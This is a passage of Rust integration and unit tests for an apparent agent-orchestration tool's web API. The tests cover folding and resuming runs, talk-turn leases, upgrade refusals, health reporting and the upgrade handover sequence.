14740        std::fs::create_dir_all(&wt).expect("worktree dir");
14741
14742        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14743        assert_eq!(res.status, 200, "{}", res.body);
14744        assert!(
14745            res.json()["removed_count"].as_u64().unwrap() > 0,
14746            "the worktree this build could not read a state for still went"
14747        );
14748        assert!(
14749            !runs.join(id).exists(),
14750            "an unreadable run has no candidate list to fold selectively, so \
14751             the whole record goes - same as `magi fold` on the CLI"
14752        );
14753    }
14754
14755    #[tokio::test]
14756    async fn deleting_an_unreadable_run_removes_it_wholesale() {
14757        let fx = Fixture::start().await;
14758        let runs = fx.runs();
14759        let wt = fx.home.path().join("wt").join("magi").join("gone");
14760        let id = "20260901-000000-gone";
14761        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14762        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14763        std::fs::create_dir_all(&wt).expect("worktree dir");
14764
14765        let res = fx.delete(&format!("/api/runs/{id}")).await;
14766        assert_eq!(res.status, 204, "{}", res.body);
14767        assert!(!runs.join(id).exists(), "the broken record is gone");
14768        assert!(!wt.exists(), "its worktree is gone too");
14769    }
14770
14771    #[tokio::test]
14772    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14773        let fx = Fixture::start().await;
14774        let runs = fx.runs();
14775        let id = "20260901-000000-live";
14776        write_run(&runs, id, RunStatus::Implementing);
14777
14778        let mut beat = crate::daemon::Status::new();
14779        beat.current = vec![crate::daemon::Current {
14780            task: "20260901-000000-task".to_owned(),
14781            run: id.to_owned(),
14782        }];
14783        beat.updated_at = jiff::Timestamp::now();
14784        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14785            .expect("publish a heartbeat");
14786
14787        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14788        assert_eq!(res.status, 409);
14789        assert!(
14790            res.json()["error"]
14791                .as_str()
14792                .unwrap()
14793                .contains("live daemon"),
14794            "folding under a running agent would pull its worktree away"
14795        );
14796    }
14797
14798    #[tokio::test]
14799    async fn fold_merged_requires_a_pr_url() {
14800        let fx = Fixture::start().await;
14801        let runs = fx.runs();
14802        let id = "20260901-000000-nourl";
14803        write_run(&runs, id, RunStatus::Blocked);
14804
14805        let res = fx
14806            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14807            .await;
14808        assert_eq!(res.status, 400, "{}", res.body);
14809
14810        let blank = fx
14811            .post(
14812                &format!("/api/runs/{id}/fold-merged"),
14813                Some(r#"{"pr_url":"   "}"#),
14814            )
14815            .await;
14816        assert_eq!(blank.status, 400, "{}", blank.body);
14817    }
14818
14819    #[tokio::test]
14820    async fn fold_merged_is_404_for_an_unknown_run() {
14821        let fx = Fixture::start().await;
14822        let res = fx
14823            .post(
14824                "/api/runs/nosuchrun/fold-merged",
14825                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14826            )
14827            .await;
14828        assert_eq!(res.status, 404, "{}", res.body);
14829    }
14830
14831    #[tokio::test]
14832    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14833        let fx = Fixture::start().await;
14834        let runs = fx.runs();
14835        let id = "20260901-000000-livemerge";
14836        write_run(&runs, id, RunStatus::Blocked);
14837
14838        let mut beat = crate::daemon::Status::new();
14839        beat.current = vec![crate::daemon::Current {
14840            task: "20260901-000000-task".to_owned(),
14841            run: id.to_owned(),
14842        }];
14843        beat.updated_at = jiff::Timestamp::now();
14844        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14845            .expect("publish a heartbeat");
14846
14847        let res = fx
14848            .post(
14849                &format!("/api/runs/{id}/fold-merged"),
14850                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14851            )
14852            .await;
14853        assert_eq!(res.status, 409, "{}", res.body);
14854        assert!(
14855            res.json()["error"]
14856                .as_str()
14857                .unwrap()
14858                .contains("live daemon"),
14859            "correcting a run's merge underneath a running agent would race \
14860             whatever it is doing to the same `status`/`merge` fields"
14861        );
14862    }
14863
14864    /// A pull request `gh` cannot even ask about (no such remote, no such
14865    /// repository) must never be recorded as a merge on a guess - the same
14866    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
14867    /// command line, reached here through the phone route instead.
14868    #[tokio::test]
14869    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14870        let fx = Fixture::start().await;
14871        let runs = fx.runs();
14872        let id = "20260901-000000-unconfirmed";
14873        write_run(&runs, id, RunStatus::Blocked);
14874
14875        let res = fx
14876            .post(
14877                &format!("/api/runs/{id}/fold-merged"),
14878                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14879            )
14880            .await;
14881        assert_eq!(res.status, 400, "{}", res.body);
14882        assert_eq!(
14883            read_run(&runs, id).unwrap().status,
14884            RunStatus::Blocked,
14885            "a pull request that could not be confirmed merged must leave \
14886             the run exactly where it was"
14887        );
14888    }
14889
14890    #[tokio::test]
14891    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14892        let fx = Fixture::start().await;
14893        let runs = fx.runs();
14894
14895        // Only a finished run and a failed one. An *interrupted* run - a
14896        // parked one, or one whose daemon was killed mid-node - is the case
14897        // resuming exists for: run 4043 sat at `reviewing` with the deck
14898        // saying it could not be resumed, which was the one state where
14899        // resuming was the only sensible answer.
14900        for (status, word) in [
14901            (RunStatus::Merged, "merged"),
14902            (RunStatus::Ready, "ready"),
14903            (RunStatus::Failed, "failed"),
14904        ] {
14905            let id = format!("20260901-000000-{}", &word[..4]);
14906            write_run(&runs, &id, status);
14907            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14908            assert_eq!(res.status, 409, "{word} must not be resumable");
14909            let err = res.json()["error"].as_str().unwrap().to_owned();
14910            assert!(err.contains(word), "the refusal names the status: {err}");
14911        }
14912
14913        // And an interrupted run is accepted: 202, with the resume running in
14914        // the background. `Runner::resume` fails immediately here - the
14915        // fixture's run points at a repository that does not exist - which is
14916        // the point: the handler must not wait for it to find out.
14917        let mid = "20260901-000000-midf";
14918        write_run(&runs, mid, RunStatus::Reviewing);
14919        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14920        assert_eq!(res.status, 202, "an interrupted run is resumable");
14921    }
14922
14923    #[tokio::test]
14924    async fn resume_is_refused_while_the_loop_is_running() {
14925        let fx = Fixture::start().await;
14926        let runs = fx.runs();
14927        let stalled = "20260901-000000-stal";
14928        write_run(&runs, stalled, RunStatus::Stalled);
14929
14930        // The loop is busy with a *different* run, and that is still a
14931        // refusal: a manual resume must never race whatever the loop itself
14932        // is already driving, whether that is one run or several.
14933        let mut beat = crate::daemon::Status::new();
14934        beat.current = vec![crate::daemon::Current {
14935            task: "20260901-000000-task".to_owned(),
14936            run: "20260901-000000-othr".to_owned(),
14937        }];
14938        beat.updated_at = jiff::Timestamp::now();
14939        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14940            .expect("publish a heartbeat");
14941
14942        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14943        assert_eq!(res.status, 409);
14944        let err = res.json()["error"].as_str().unwrap().to_owned();
14945        assert!(err.contains("othr"), "it names what the loop is on: {err}");
14946        assert!(err.contains("stop it first"), "{err}");
14947    }
14948
14949    #[test]
14950    fn a_run_cannot_be_resumed_twice_at_once() {
14951        let home = TempDir::new().expect("temp home");
14952        let ui = Ui::new(
14953            Queue::at(home.path().join("queue")),
14954            Questions::at(home.path().join("questions")),
14955            Talks::at(home.path().join("talks")),
14956            home.path().join("runs"),
14957            home.path().to_path_buf(),
14958            PathBuf::from("/repo"),
14959        )
14960        .with_worktrees_root(home.path().join("wt"));
14961        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14962        let again = ui.begin_resume("20260901-000000-once");
14963        assert!(again.is_err(), "a second tap must not start a second graph");
14964        drop(first);
14965        assert!(
14966            ui.begin_resume("20260901-000000-once").is_ok(),
14967            "and the claim is released when the attempt ends"
14968        );
14969    }
14970
14971    #[test]
14972    fn talk_thinking_tracks_only_its_held_turn_claim() {
14973        let home = TempDir::new().expect("temp home");
14974        let ui = Ui::new(
14975            Queue::at(home.path().join("queue")),
14976            Questions::at(home.path().join("questions")),
14977            Talks::at(home.path().join("talks")),
14978            home.path().join("runs"),
14979            home.path().to_path_buf(),
14980            PathBuf::from("/repo"),
14981        )
14982        .with_worktrees_root(home.path().join("wt"));
14983        let id = "20260901-000000-once";
14984
14985        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14986        let turn = ui.begin_talk_turn(id).expect("claim turn");
14987        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14988        assert!(
14989            !ui.is_thinking("20260901-000000-other"),
14990            "one talk's turn does not make another talk busy"
14991        );
14992        drop(turn);
14993        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14994    }
14995
14996    #[test]
14997    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14998        let home = TempDir::new().expect("temp home");
14999        let talks = Talks::at(home.path().join("talks"));
15000        let ui = Ui::new(
15001            Queue::at(home.path().join("queue")),
15002            Questions::at(home.path().join("questions")),
15003            talks.clone(),
15004            home.path().join("runs"),
15005            home.path().to_path_buf(),
15006            PathBuf::from("/repo"),
15007        )
15008        .with_worktrees_root(home.path().join("wt"));
15009        let id = "20260901-000000-cross";
15010
15011        let other = Talks::at(home.path().join("talks"))
15012            .claim_turn(id)
15013            .expect("claim")
15014            .expect("the other process wins");
15015        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15016        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15017        assert!(
15018            matches!(
15019                ui.begin_talk_turn_unless_pending(id).expect("start"),
15020                TalkTurnStart::Foreign
15021            ),
15022            "a foreign holder is refused, not queued behind"
15023        );
15024        assert!(
15025            !ui.talk_turns.lock().unwrap().live.contains(id),
15026            "a refused claim leaves no in-process entry behind"
15027        );
15028        drop(other);
15029        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15030        assert!(talks.turn_held(id), "the web turn holds the lease");
15031        drop(turn);
15032        assert!(
15033            !talks.turn_held(id),
15034            "dropping the guard releases the lease"
15035        );
15036    }
15037
15038    #[test]
15039    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15040        let home = TempDir::new().expect("temp home");
15041        let talks = Talks::at(home.path().join("talks"));
15042        let ui = Ui::new(
15043            Queue::at(home.path().join("queue")),
15044            Questions::at(home.path().join("questions")),
15045            talks.clone(),
15046            home.path().join("runs"),
15047            home.path().to_path_buf(),
15048            PathBuf::from("/repo"),
15049        )
15050        .with_worktrees_root(home.path().join("wt"));
15051        let id = "20260901-000000-order";
15052        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15053        // Hold the slot mutex so the drop can finish the lease but not the slot.
15054        let slots = ui.talk_turns.lock().unwrap();
15055        let dropper = std::thread::spawn(move || drop(turn));
15056        let start = std::time::Instant::now();
15057        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15058            std::thread::sleep(Duration::from_millis(5));
15059        }
15060        assert!(!talks.turn_held(id), "the lease is released first");
15061        assert!(slots.live.contains(id), "the slot is still held meanwhile");
15062        drop(slots);
15063        dropper.join().expect("join");
15064        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15065    }
15066
15067    #[tokio::test]
15068    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15069        let fx = Fixture::start().await;
15070        // Somebody else's `magi serve` owns the queue. Replacing this binary
15071        // would leave that process running an old one against the same
15072        // claims, which is worse than refusing.
15073        let mut beat = crate::daemon::Status::new();
15074        beat.pid = 4321;
15075        beat.updated_at = jiff::Timestamp::now();
15076        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15077            .expect("publish a heartbeat");
15078
15079        let res = fx.post("/api/upgrade", None).await;
15080        assert_eq!(res.status, 409);
15081        let err = res.json()["error"].as_str().unwrap().to_owned();
15082        assert!(err.contains("4321"), "the refusal names the owner: {err}");
15083        assert!(err.contains("old one against the same queue"), "{err}");
15084    }
15085
15086    /// [`should_spawn_recheck`] must refuse for the same two reasons
15087    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
15088    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
15089    /// Purely a predicate over config and the environment - no network, no
15090    /// disk, no runtime - so unlike the fixture-based tests around it this
15091    /// one needs neither.
15092    #[test]
15093    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15094        assert!(!should_spawn_recheck(&crate::config::Update {
15095            mode: UpdateMode::Off,
15096            interval: None,
15097        }));
15098
15099        // SAFETY: single-threaded as far as this variable goes, the same
15100        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
15101        unsafe {
15102            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15103        }
15104        let killed = should_spawn_recheck(&crate::config::Update {
15105            mode: UpdateMode::Notify,
15106            interval: None,
15107        });
15108        unsafe {
15109            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15110        }
15111        assert!(
15112            !killed,
15113            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15114             one-time startup check"
15115        );
15116
15117        assert!(should_spawn_recheck(&crate::config::Update {
15118            mode: UpdateMode::Notify,
15119            interval: None,
15120        }));
15121    }
15122
15123    /// [`recheck_poll_period`] must track a configured `[update] interval`
15124    /// shorter than its own default ceiling - a fixed sleep here would leave
15125    /// an operator's short interval waiting on the next wake-up instead of on
15126    /// `should_check`, which is the same bug this whole task exists to fix,
15127    /// just one level down.
15128    #[test]
15129    fn recheck_poll_period_tracks_a_short_configured_interval() {
15130        let short = crate::config::Update {
15131            mode: UpdateMode::Notify,
15132            interval: Some("1m".to_owned()),
15133        };
15134        let period = recheck_poll_period(&short);
15135        assert!(
15136            period <= Duration::from_secs(30),
15137            "a one-minute interval must wake the task far sooner than the \
15138             default ceiling, or the deck would not notice within the \
15139             interval the operator configured: got {period:?}"
15140        );
15141
15142        let default = crate::config::Update {
15143            mode: UpdateMode::Notify,
15144            interval: None,
15145        };
15146        assert_eq!(
15147            recheck_poll_period(&default),
15148            UPDATE_RECHECK_POLL_MAX,
15149            "the default day-long interval should poll at the (capped) \
15150             ceiling rather than needlessly often"
15151        );
15152    }
15153
15154    /// [`update_recheck_due`] must not repeat a check made moments ago, the
15155    /// same throttle `updater::Checker::should_check` already gives the
15156    /// CLI's notify mode. Built over an explicit state file via
15157    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
15158    /// write the operator's real `last_update_check.json` - and therefore
15159    /// cannot flake on whatever that file happens to say on the machine
15160    /// running the test.
15161    #[test]
15162    fn recheck_skips_the_network_before_the_interval_elapses() {
15163        let dir = TempDir::new().expect("temp dir");
15164        let path = dir.path().join("state.json");
15165        let state = kaishin::UpdateCheckState {
15166            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15167            last_known_latest: None,
15168            last_known_url: None,
15169        };
15170        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15171
15172        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15173        assert!(
15174            !update_recheck_due(&checker, None),
15175            "a check made moments ago must not be repeated before the \
15176             configured interval elapses"
15177        );
15178    }
15179
15180    /// An upgrade this deck already started must not be raced by a recheck
15181    /// that discovers a newer release mid-install - regardless of what
15182    /// `should_check` says, which is why the state file here is missing
15183    /// entirely: read alone, that alone would answer "never checked, go
15184    /// ahead".
15185    #[test]
15186    fn recheck_defers_to_an_upgrade_already_in_flight() {
15187        let dir = TempDir::new().expect("temp dir");
15188        let path = dir.path().join("state.json");
15189        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15190        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15191
15192        assert!(
15193            !update_recheck_due(&checker, Some(&progress)),
15194            "a recheck must not run while an upgrade this deck started is \
15195             still moving"
15196        );
15197    }
15198
15199    #[tokio::test]
15200    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15201        // The same env var the background check honours (`disabled_by_env`)
15202        // must also stop a button press before it ever calls
15203        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
15204        // means "never contact GitHub from this process", and a tap on the
15205        // upgrade button must not override that any more than a broken
15206        // `magi.toml` may. Left unset, this fixture's default config would
15207        // otherwise reach a real, unauthenticated GitHub call.
15208        //
15209        // SAFETY: single-threaded as far as this variable goes - nothing else
15210        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
15211        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
15212        unsafe {
15213            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15214        }
15215        let fx = Fixture::start().await;
15216        let res = fx.post("/api/upgrade", None).await;
15217        unsafe {
15218            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15219        }
15220        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15221        let body = res.json();
15222        assert!(body["to"].is_null(), "there was no release to move to");
15223        assert!(body["parked"].is_null(), "and nothing was parked");
15224        assert!(
15225            body["detail"]
15226                .as_str()
15227                .unwrap()
15228                .contains("disabled by MAGI_NO_AUTOUPDATE"),
15229            "{body:?}"
15230        );
15231    }
15232
15233    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15234        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15235        p.stage = stage;
15236        p
15237    }
15238
15239    #[test]
15240    fn busy_stages_match_the_ui_set() {
15241        use crate::updater::Stage;
15242        assert!(APP_JS.contains(
15243            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15244        ));
15245        for s in [
15246            Stage::Downloading,
15247            Stage::Replaced,
15248            Stage::Parking,
15249            Stage::Restarting,
15250        ] {
15251            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15252        }
15253        for s in [Stage::Done, Stage::Failed] {
15254            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15255        }
15256        assert!(upgrade_in_motion(None).is_none());
15257    }
15258
15259    #[tokio::test]
15260    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15261        use crate::updater::Stage;
15262        for stage in [
15263            Stage::Downloading,
15264            Stage::Replaced,
15265            Stage::Parking,
15266            Stage::Restarting,
15267        ] {
15268            let fx = Fixture::start().await;
15269            let seeded = seeded_progress(stage);
15270            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15271            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15272                .expect("read");
15273
15274            let res = fx.post("/api/upgrade", None).await;
15275            assert_eq!(res.status, 409, "{stage:?}");
15276            let err = res.json()["error"].as_str().unwrap().to_owned();
15277            assert!(err.contains("already in progress"), "{err}");
15278            assert!(err.contains(stage.as_str()), "{err}");
15279
15280            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15281                .expect("read");
15282            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15283            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15284                .unwrap_or_default();
15285            assert!(!log.contains("signalling HANDOVER"), "{log}");
15286        }
15287    }
15288
15289    #[tokio::test]
15290    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15291        use crate::updater::Stage;
15292        let repo = TempDir::new().expect("repo dir");
15293        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15294            .expect("write magi.toml");
15295        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15296        for stage in [Stage::Done, Stage::Failed] {
15297            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15298            let res = fx.post("/api/upgrade", None).await;
15299            assert_eq!(res.status, 200, "{stage:?}");
15300        }
15301        // No record at all, and the gate was released by the earlier calls.
15302        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15303        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15304    }
15305
15306    #[tokio::test]
15307    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15308        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
15309        // and the route answers from its own logic.
15310        //
15311        // This test used to lean on the fixture's placeholder repo failing
15312        // config discovery, which left `mode = "notify"` - and a live,
15313        // unauthenticated call to the GitHub releases API inside a unit test.
15314        // GitHub allows 60 of those an hour per address, so the suite went red
15315        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
15316        // long as somebody kept re-running it: every attempt spent another
15317        // request. Six reruns across four pull requests were charged to that
15318        // before it was read as a rate limit rather than a flake.
15319        //
15320        // What the assertion is about is the "already current" branch, which
15321        // is reached by there being no newer release *or* nowhere to look. The
15322        // second one needs no network and cannot be rate limited.
15323        let repo = TempDir::new().expect("repo dir");
15324        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15325            .expect("write magi.toml");
15326        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15327
15328        // It must answer 200 and leave the process alone: restarting for an
15329        // upgrade that did not happen parks the run in flight and drops every
15330        // connection to pay for nothing. A probe against a deck already on the
15331        // newest build did exactly that, which is how this case got its own
15332        // branch.
15333        let res = fx.post("/api/upgrade", None).await;
15334        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15335        let body = res.json();
15336        assert!(body["to"].is_null(), "there was no release to move to");
15337        assert!(body["parked"].is_null(), "and nothing was parked");
15338        assert!(
15339            body["detail"]
15340                .as_str()
15341                .unwrap()
15342                .contains("nothing restarted"),
15343            "{body:?}"
15344        );
15345    }
15346
15347    #[tokio::test]
15348    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15349        // `mode = "off"` for the same reason as the test above: a default
15350        // fixture repo falls back to `mode = "notify"`, which would make this
15351        // route's new `update` field a live, unauthenticated GitHub call on
15352        // every assertion in this suite that happens to hit `/api/health`.
15353        let repo = TempDir::new().expect("repo dir");
15354        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15355            .expect("write magi.toml");
15356        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15357
15358        let health = fx.get("/api/health").await.json();
15359        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15360        assert_eq!(
15361            health["update"]["available"], false,
15362            "checking is off, which reads as \"unknown\", not \"none\""
15363        );
15364        assert!(health["update"]["to"].is_null());
15365        assert!(
15366            health["upgrade"].is_null(),
15367            "nothing has ever asked this deck to upgrade"
15368        );
15369    }
15370
15371    #[tokio::test]
15372    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15373        let fx = Fixture::start().await;
15374        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15375
15376        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15377        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15378        progress.advance(crate::updater::Stage::Parking);
15379        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15380
15381        let health = fx.get("/api/health").await.json();
15382        assert_eq!(health["upgrade"]["stage"], "parking");
15383        assert_eq!(health["upgrade"]["from"], "0.5.1");
15384        assert_eq!(health["upgrade"]["to"], "0.5.2");
15385        let waiting_on = health["upgrade"]["waiting_on"]
15386            .as_str()
15387            .expect("waiting_on is set while parking a known run");
15388        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15389        assert!(waiting_on.contains("implementing"), "{waiting_on}");
15390    }
15391
15392    #[tokio::test]
15393    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15394        let fx = Fixture::start().await;
15395        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15396        progress.advance(crate::updater::Stage::Done);
15397        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15398
15399        let health = fx.get("/api/health").await.json();
15400        assert_eq!(health["upgrade"]["stage"], "done");
15401        assert!(
15402            health["upgrade"]["waiting_on"].is_null(),
15403            "nothing to wait on once it is done"
15404        );
15405    }
15406
15407    #[tokio::test]
15408    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15409        let home = TempDir::new().expect("temp home");
15410        let runs = home.path().join("runs");
15411        std::fs::create_dir_all(&runs).expect("runs dir");
15412        let ui = Ui::new(
15413            Queue::at(home.path().join("queue")),
15414            Questions::at(home.path().join("questions")),
15415            Talks::at(home.path().join("talks")),
15416            runs,
15417            home.path().to_path_buf(),
15418            PathBuf::from("/repo/magi"),
15419        )
15420        .with_launch(launch_idle);
15421        let looping = ui.looping();
15422        let turns = ui.turns();
15423        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15424            .await
15425            .expect("bind loopback");
15426        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15427
15428        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15429        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15430
15431        hand_over(
15432            home.path(),
15433            &looping,
15434            &turns,
15435            &|_: &[String]| Duration::from_secs(5),
15436            served,
15437            |_| Ok(1),
15438        )
15439        .await
15440        .expect("hand over");
15441
15442        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15443        assert_eq!(
15444            after.stage,
15445            crate::updater::Stage::Restarting,
15446            "hand_over owns the record through parking and up to restarting; \
15447             the successor is what finishes it"
15448        );
15449    }
15450
15451    /// The successor is started exactly once on success, and exactly once on
15452    /// failure too (a failed start is reported, never retried).
15453    #[tokio::test]
15454    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15455        for fail in [false, true] {
15456            let home = TempDir::new().expect("temp home");
15457            let ui = idle_ui(&home);
15458            let looping = ui.looping();
15459            let turns = ui.turns();
15460            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15461                .await
15462                .expect("bind loopback");
15463            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15464            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15465            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15466
15467            let calls = std::sync::atomic::AtomicUsize::new(0);
15468            let outcome = hand_over(
15469                home.path(),
15470                &looping,
15471                &turns,
15472                &|_: &[String]| Duration::from_secs(5),
15473                served,
15474                |_| {
15475                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15476                    if fail {
15477                        anyhow::bail!("no exec")
15478                    } else {
15479                        Ok(4242)
15480                    }
15481                },
15482            )
15483            .await;
15484            assert_eq!(outcome.is_err(), fail);
15485            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15486
15487            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15488                .expect("upgrade.log is written under the home");
15489            for step in [
15490                "entered",
15491                "finish_loop",
15492                "listener released",
15493                "starting the successor",
15494            ] {
15495                assert!(log.contains(step), "missing `{step}` in:\n{log}");
15496            }
15497            assert!(
15498                log.contains(if fail { "did not start" } else { "pid 4242" }),
15499                "{log}"
15500            );
15501        }
15502    }
15503
15504    /// The handover signal is seen however the race falls, and wakes its one
15505    /// waiter once per signal - nothing here can spin.
15506    #[tokio::test]
15507    async fn the_handover_signal_wakes_one_waiter_once() {
15508        let signal = Notify::new();
15509        // Signalled before anyone waits: the stored permit is not lost.
15510        signal.notify_one();
15511        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15512            .await
15513            .expect("an early signal is still seen");
15514        // One signal, one wake-up: a second wait does not resolve by itself.
15515        assert!(
15516            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15517                .await
15518                .is_err(),
15519            "a consumed signal must not wake a second time"
15520        );
15521        // Signalled while waiting.
15522        let signal = std::sync::Arc::new(signal);
15523        let waiter = tokio::spawn({
15524            let signal = std::sync::Arc::clone(&signal);
15525            async move { wait_for_handover(&signal).await }
15526        });
15527        tokio::time::sleep(Duration::from_millis(20)).await;
15528        assert!(!waiter.is_finished(), "nothing was signalled yet");
15529        signal.notify_one();
15530        tokio::time::timeout(Duration::from_secs(5), waiter)
15531            .await
15532            .expect("a late signal wakes the waiter")
15533            .expect("join");
15534    }
15535
15536    #[tokio::test]
15537    async fn health_says_how_long_a_handover_has_been_stuck() {
15538        let fx = Fixture::start().await;
15539        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15540        progress.advance(crate::updater::Stage::Replaced);
15541        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15542        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15543
15544        let health = fx.get("/api/health").await.json();
15545        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15546        assert!(stuck >= 600, "{stuck}");
15547        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15548        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15549    }
15550
15551    #[tokio::test]
15552    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15553        let home = tempfile::tempdir().expect("temp home");
15554        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15555        progress.advance(crate::updater::Stage::Parking);
15556        crate::updater::write_progress(home.path(), &progress).expect("seed");
15557        // What the second upgrade_and_restart and its handler do.
15558        let mut again = progress.clone();
15559        again.advance(crate::updater::Stage::Replaced);
15560        crate::updater::write_progress(home.path(), &again).expect("replaced");
15561        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15562        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15563        let after = crate::updater::read_progress(home.path()).expect("record");
15564        assert_eq!(after.stage, crate::updater::Stage::Parking);
15565    }
15566
